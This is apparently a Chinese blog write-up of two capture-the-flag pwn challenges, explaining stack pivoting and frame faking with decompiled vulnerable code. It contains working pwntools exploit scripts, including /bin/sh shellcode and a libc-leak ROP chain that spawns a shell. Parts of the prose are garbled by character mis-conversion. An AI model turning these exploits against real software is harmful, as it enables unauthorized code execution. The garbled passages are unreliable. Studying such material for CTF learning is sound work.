共计 3119 个字符,预计需要花费 8 分钟才能阅读完成。
天天天 … 肯定要学会把栈构造画进去,凭脑子想要节约好多的工夫,而且要弄清楚哪一步的 sp 和 bp 在哪里
stack pivoting
利用 jmp sp 在栈上执行代码,现阶段利用的状况是笼罩的字节比拟少,但又不是很少
题
signed int vul()
{char s; // [esp+18h] [ebp-20h]
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
显著利用溢出管制就能够了,这里理清一下 sp 的地位关系,首先当 sp 指向返回地址时候,还有 ret 没有执行,执行后 sp 指向向下一个地位,即人为写入的一段命令,这时的 ip 也指向这段命令,而后向下挪动 0x28 处,这时 sp 又指向咱们在栈上写的代码。之后 jmp sp,就会执行这段代码。
exp
#coding = utf-8
from pwn import *
sh = process('./b0verfl0w')
context.log_level = 'debug'
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
print(shellcode_x86)
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
这里用手写只有 28 个字节,然而用自带函数 shellcrat 有 44 个。
frame faking
这里的要求还是 NX 敞开
原理如下:
利用返回时要求的原 bp,来结构一个新的栈帧。之后在把函数放在新栈帧上,在利用返回函数跳过去进行执行。
下面是填充的内容
下面是新 bp 指向的栈帧
具体过程如下
1. 在有栈溢出的程序执行 leave 时,其分为两个步骤
* mov esp, ebp,这会将 esp 也指向以后栈溢出破绽的 ebp 基地址处。* pop ebp,这会将栈中寄存的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保留了 ebp2 所在的地址。2. 执行 ret 指令,会再次执行 leave ret 指令。3. 执行 leave 指令,其分为两个步骤
* mov esp, ebp,这会将 esp 指向 ebp2。* pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行
* push ebp,会将 ebp2 值压入栈中,* mov ebp, esp,将 ebp 指向以后基地址。
而后理论状况会变成
这里的 bp 是理论的,所以最先写入的 target function addr 会被笼罩,这里只需把 bp2 换成 target function addr 就能够了
题
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while (sub_400676() )
;
return 0LL;
}
int sub_400676()
{char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar(62);
read(0, &buf, 0x60uLL);
return puts(&buf);
}
留神到这道能笼罩的地址非常少,只有 16 个字节,所以利用 fack frame
利用 checksec
这个会打乱栈的地址,但绝对偏移是不会变的。所以先管制函数输入一个一个函数在内存中的地址,之后再通过偏移进行函数的利用
上面是 exp
正文外面会有具体的过程
#coding = utf-8
from pwn import *
content.log_level = 'debug'
context.binary = "./over.over"
io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc
io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6:].ljust(8, '\0')) - 0x70
#这里减去 0x70 的起因,咱们泄露的 bp 地址其实是原来 main 函数的,通过调试发现这里有 0x20 的差距,所以一共是 0x70
success("stack -> {:#x}".format(stack))
pop_rdi_ret=0x400793
payload = flat(['11111111',pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be])
#这里的 1 轻易填什么,0x400676 为再次返回本函数,进行从新填写,不便加载的地址不变,6be 为一个 leave 和 retn(轻易找一个都行)
io.sendafter(">", payload)
libc.address = u64(io.recvuntil("\x7f")[-6:].ljust(8, '\0')) - libc.symbols['puts']
#承受到函数地址,曾经记一下这里的应用办法 io.recvuntil("\x7f")[-6:].ljust(8, '\0')
success("libc.address -> {:#x}".format(libc.address))
'''$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only"pop|ret"0x00000000000115189 : pop rdx ; pop rsi ; ret'''
pop_rdx_pop_rsi_ret=libc.address+0x0000000000115189
#因为是动静连贯,每个库依据版本不同有变动,请自行查宅
payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8) * '2', stack - 0x30, 0x4006be])
#留神这里应用的是 execve,有三个参数,依照 wiki 上说
#见上面的图
#0x30 是因为从新进入了以后函数,这时的 sp 指向的是 0x400676,依照汇编语言,sp 会减 0x50,此时离原来的第一次 sp 只有 0x20 的间隔,所以须要再减去 0x30,能力跳到从新写入发代码中
#因为管制了 eb,所以最好进入以后函数缓缓跟踪。不要从头再来,会产生一些不可形容的事件
io.sendafter(">", payload)
io.interactive()
以上,我好笨,看了良久才弄懂,惨惨
正文完